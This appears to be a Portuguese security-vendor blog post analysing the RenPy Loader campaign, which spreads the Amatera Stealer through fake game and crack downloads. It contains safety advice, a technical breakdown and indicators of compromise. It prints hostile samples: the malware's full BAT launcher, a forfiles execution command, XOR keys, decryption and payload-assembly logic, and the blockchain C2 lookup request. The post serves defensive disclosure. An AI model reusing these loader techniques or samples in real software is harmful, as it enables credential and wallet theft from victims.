Detectamos várias campanhas que utilizam downloads falsos de jogos, mods, cracks e softwares para disseminar o RenPy Loader. Uma vez instalado, o carregador inicia uma cadeia de infecção complexa e em várias etapas que se aproveita do MSBuild e da técnica EtherHiding antes de, por fim, instalar o Amatera Stealer.
O Amatera é um infostealer — um tipo de malware projetado para roubar informações confidenciais de um dispositivo infectado. Ele pode ter como alvo senhas e outros dados armazenados em navegadores, carteiras de criptomoedas, extensões de navegador, aplicativos de mensagens e arquivos locais. As credenciais e os dados de sessão roubados também podem permitir que os invasores acessem as contas online da vítima.
A vítima pode ver o que parece ser um jogo ou um instalador de software normal, enquanto o malware é executado silenciosamente em segundo plano.
O RenPy Loader, também conhecido como RenEngine Loader, é particularmente interessante porque se aproveita indevidamente do Ren’Py, um motor legítimo usado para criar romances visuais, jogos baseados em enredo e ficção interativa. Ao ocultar código malicioso dentro de softwares associados a jogos, os invasores conseguem fazer com que seus downloads pareçam mais confiáveis para pessoas que procuram jogos, mods ou softwares crackeados.
Já vimos anteriormente que os invasores se valem indevidamente de ferramentas legítimas de desenvolvimento e frameworks de software emergentes, incluindo o Bun e o Deno, para distribuir malware. O RenPy Loader segue o mesmo padrão: os invasores se aproveitam de tecnologias legítimas para disfarçar atividades maliciosas, complicar a cadeia de infecção e dificultar a detecção.
Também foi observado que o RenPy Loader distribui outros tipos de malware, incluindo o HijackLoader e o Lumma Stealer, o que demonstra que a carga útil final pode variar de acordo com a campanha.
Neste blog, analisamos uma cadeia de infecção na qual o Ren’Py descriptografa um arquivo ZIP contendo um arquivo BAT e vários arquivos de projeto do MSBuild. Esses arquivos carregam um componente .NET infectado por um trojan, que, por sua vez, decodifica outro componente malicioso.
Esse componente malicioso utiliza uma técnica chamada EtherHiding para localizar seu servidor de comando e controle (C2). Em vez de armazenar o endereço do C2 diretamente no malware, os invasores o ocultam em dados armazenados em uma blockchain pública. Em seguida, o malware baixa as próximas etapas do ataque a partir desse servidor, tornando a infraestrutura dos invasores mais difícil de identificar e neutralizar.
Por fim, examinamos as cargas úteis adicionais que, em última instância, descriptografam e executam o Amatera Stealer.
Downloads falsos infectam seu dispositivo
A infecção começa quando alguém baixa um suposto jogo, mod, crack ou programa. Identificamos arquivos maliciosos distribuídos por meio de:
- Sites maliciosos
- Portais de download de jogos
- Vários serviços de compartilhamento de arquivos, incluindo Wormhole, GoFile, Google Drive e MEGA
Aqui estão algumas das páginas detectadas que dão início à cadeia de infecção:
Em vários casos, clicar em um link de download redirecionava o usuário para outro site falso de download. Essas páginas utilizavam designs diferentes e nomes de serviços inventados, o que ajudava as campanhas a parecerem menos repetitivas e tornava a infraestrutura maliciosa mais difícil de ser reconhecida.
A seguir, apresentamos exemplos de páginas falsas de download utilizadas para distribuir o arquivo malicioso:
O usuário baixa um arquivo compactado que contém um arquivo chamado Setup.exe. Ao abrir esse arquivo, inicia-se a cadeia de infecção.


A vítima vê uma tela de carregamento ou instalação, mas um código malicioso está sendo executado em segundo plano.

Como se manter seguro
Algumas precauções podem reduzir o risco de baixar jogos ou softwares maliciosos:
- Baixe jogos e softwares de sites oficiais, lojas de aplicativos confiáveis ou plataformas de distribuição reconhecidas.
- Tenha cuidado com softwares piratas, mods não oficiais e versões gratuitas de jogos pagos.
- Tenha cuidado quando um link de download o redirecionar por vários sites desconhecidos ou serviços de compartilhamento de arquivos.
- Verifique o conteúdo dos arquivos compactados baixados antes de abrir arquivos executáveis, como
Setup.exe. - Fique atento a nomes de arquivos incomuns, imagens ou arquivos de texto sem relação com o assunto e conteúdo que não corresponda ao que você pretendia baixar.
- Use um software antimalware em tempo real, como o Malwarebytes.
- Mantenha seu sistema operacional, navegador e software de segurança atualizados.
Os responsáveis por essas campanhas criam constantemente novos sites e alteram suas páginas de download. Um instalador com aparência profissional ou um serviço de compartilhamento de arquivos conhecido não garante que um download seja seguro.
Análise técnica do carregador do RenPy
O Ren’Py é um mecanismo gratuito e de código aberto para a criação de romances visuais, jogos baseados em enredo e ficção interativa. O Ren’Py permite a integração de scripts em Python, dos quais os invasores se valem para inserir código malicioso.
Nesse caso, encontramos código malicioso nos seguintes arquivos e caminhos:
|
Caminho |
Descrição |
|---|---|
|
|
Classes anti-sandbox |
|
|
Carregador |
|
|
Configuração criptografada com XOR |
|
|
ZIP criptografado com XOR |
O carregador do primeiro estágio extraído de libwin32.rpa realiza as seguintes operações:
- Lê a configuração
data/.GEge o descriptografa usando a decodificação Base64 e a operação XOR com a chave81034149cd6f48c8821340204f92766e. Essa configuração contém a senha usada para extrair o ZIP, além de outros dados de configuração utilizados pelo carregador. - Chamadas
sys_config.is_sandboxed()e encerra a execução caso seja detectada uma sandbox. - Descriptografia XOR
data/j3lpTcg7kBRN.E3usando a chaveA50YyY1para baixar o arquivo ZIP. - Extraia o conteúdo do ZIP para uma pasta aleatória na subpasta
%TEMP%/tmp-{5 digits}-{12 characters}e escreve um:Zone.Identifierfluxo de dados alternativo (ADS) comZoneId=0para remover a Marca da Web e contornar o SmartScreen. Ele também insere umREMinserir a sequência no arquivo BAT extraído. - Lança a carga útil usando
forfiles.exe. - Envia o MAC do computador e o ID da campanha para um site de rastreamento.


Nesse caso, o arquivo BAT extraído foi executado usando o seguinte comando:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Conteúdo do arquivo BAT:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
O arquivo BAT executado realiza as seguintes operações:
- É reiniciado em um console oculto ou sem interface gráfica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Habilita as funções de propriedade do MSBuild, permitindo métodos adicionais, tais como
AppDomain.CurrentDomain.Loada ser executado:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Executa
MSBuild.execomNancy.csprojcomo seu arquivo de projeto. Durante a avaliação do projeto, uma função de propriedade maliciosa do MSBuild realiza a decodificação hexadecimal e carrega de forma reflexiva a próxima etapa da DLL.
A DLL “Nancy” infectada por um trojan e o bytecode personalizado
Nancy.csproj importa os três arquivos extraídos Nancy.csproj.user, Internal.propse Nancy.Compile.targets. A DLL maliciosa está dividida em três partes armazenadas nesses arquivos.

Nancy.csprojNancy.Compile.targets concatena os três valores para decodificar a DLL no formato hexadecimal e executar o DefaultEvaluator5 método utilizando AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5O interessante é que Nancy.csproj tem duas finalidades: é o projeto MSBuild usado para executar o carregador da primeira fase e também contém a fase seguinte, decodificada pelo carregador.
A DLL é uma versão trojanizada da biblioteca Nancy .NET e consiste em um carregador .NET ofuscado com código malicioso implementado no DefaultEvaluator5 classe. Parte da funcionalidade da DLL é implementada em bytecode personalizado executado por esse método main.

A DLL realiza as seguintes operações:
- Descriptografa strings de recursos usando descriptografia XOR com múltiplas chaves.
- Resolve APIs usando hash de API e
GetDelegateForFunctionPointer. - Altera as configurações de rede, incluindo a desativação da validação de certificados TLS e a definição do proxy padrão do sistema.
- Realiza operações anti-forenses.
- Lê o
_czzfvariável de ambiente, que aponta para a anteriorNancy.csprojarquivo, em seguida o decodifica e o executa.
O principal DefaultEvaluator5 O método recupera strings e interpreta o bytecode contido nos seguintes recursos:
Nancy.Runtime.mvlorimu: Contém o bytecode personalizado. O bytecode é interpretado por_pve_sro. Ele implementa 23 códigos de operação usados para descriptografar outras sequências de caracteres e carregar a DLL da próxima etapa.Nancy.Data.tcnlhxweNancy.Resources.kxxodp: Contém as sequências criptografadas e outros dados utilizados para a descriptografia, incluindo chaves, comprimentos, índices e a S-box.
As sequências são descriptografadas usando o seguinte algoritmo:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
A próxima etapa da DLL, GollopDevest, é decodificado a partir do mesmo Nancy.csproj arquivo que utiliza a seguinte lógica e é carregado com AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack marcadoresEtherHiding e Amatera Stealer
A próxima etapa extraída é uma DLL chamada GollopDevest.dll, um programa de download para .NET que utiliza a técnica EtherHiding para obter o endereço do servidor de comando e controle (C2) e baixar a próxima fase.
O domínio C2 criptografado é obtido por meio de uma chamada JSON-RPC do Ethereum eth_call solicitação para bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Esse downloader do EtherHiding provavelmente faz parte de uma operação do tipo “malware como serviço” (MaaS), já que detectamos sua distribuição em outras campanhas, incluindo as campanhas do ClickFix.
Em seguida, são baixadas três cargas úteis adicionais: duas DLLs do .NET chamadas PavinWide (uma DLL anti-análise) e GollopDevest (uma DLL carregadora) e uma DLL em C++ chamada LanoseThrip, que, por fim, descriptografa e carrega o Amatera Stealer.
Nesse caso, essas cargas úteis foram baixadas de:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
As DLLs do .NET são fortemente ofuscadas por meio do achatamento do fluxo de controle e de chamadas indiretas por meio de calli/ldftn, criptografia de strings com diversos algoritmos, código indesejado, código inativo e strings falsas, como caminhos de URL.
A análise dessas DLLs ainda está em andamento e será abordada com mais detalhes nas próximas postagens do blog.
Indicadores de Compromisso (IOCs)
Domínios
downpro[.]net– Site falso de downloadmacisofile[.]sbs– Site falso de downloadvisitmama[.]blog– Site falso de downloadvisitmama[.]guru– Site falso de downloadgetgamerfree[.]com– Site falso de downloadfullgames[.]digital– Site falso de downloadflingbase[.]net– Site falso de downloadcitronemu[.]com– Site falso de downloadfilemodo[.]xyz– Infraestrutura de distribuiçãostorage06x[.]cfd– Infraestrutura de distribuiçãop03sil[.]cyou– Infraestrutura de distribuiçãowimsedas[.]xyz– Infraestrutura de distribuiçãoagainstmor[.]store– Infraestrutura de distribuiçãohost03q[.]cfd– Infraestrutura de distribuiçãocloud01y[.]cfd– Infraestrutura de distribuiçãostorage11x[.]cfd– Infraestrutura de distribuiçãostorage04x[.]cfd– Infraestrutura de distribuiçãohost82p[.]cfd– Infraestrutura de distribuiçãocloud05y[.]cfd– Infraestrutura de distribuiçãoanalyticstrack-pzh[.]click– Site de rastreamentologin.orbitalframework[.]cc– Amatera Stealer C2
Endereços IP
144.124.251[.]171– Utilizado para obter cargas úteis adicionais195.63.140[.]33– Utilizado para obter cargas úteis adicionais78.40.196[.]252– Utilizado para obter cargas úteis adicionais
Hashes de arquivos (MD5)
29203ca123d51b1b33505a0813d360df– Carregador de primeiro estágio (DLL trojanizada)810F257542018BE0FC62AF542D13D012– DLL do GollopDevest (DLL do Downloader)681DB529E402467A4B0567C82A350FC0– DLL do PavinWride (DLL anti-análise)2E116632248A7E1F8AA6BCA92D9C1C90– DLL do GollopDevest (DLL do carregador)F8453EFE408CE25B9484F872797E3D63– Carga útil final
“Um dos melhores pacotes de segurança cibernética do mundo.”
De acordo com a CNET.Leia a resenha deles →






















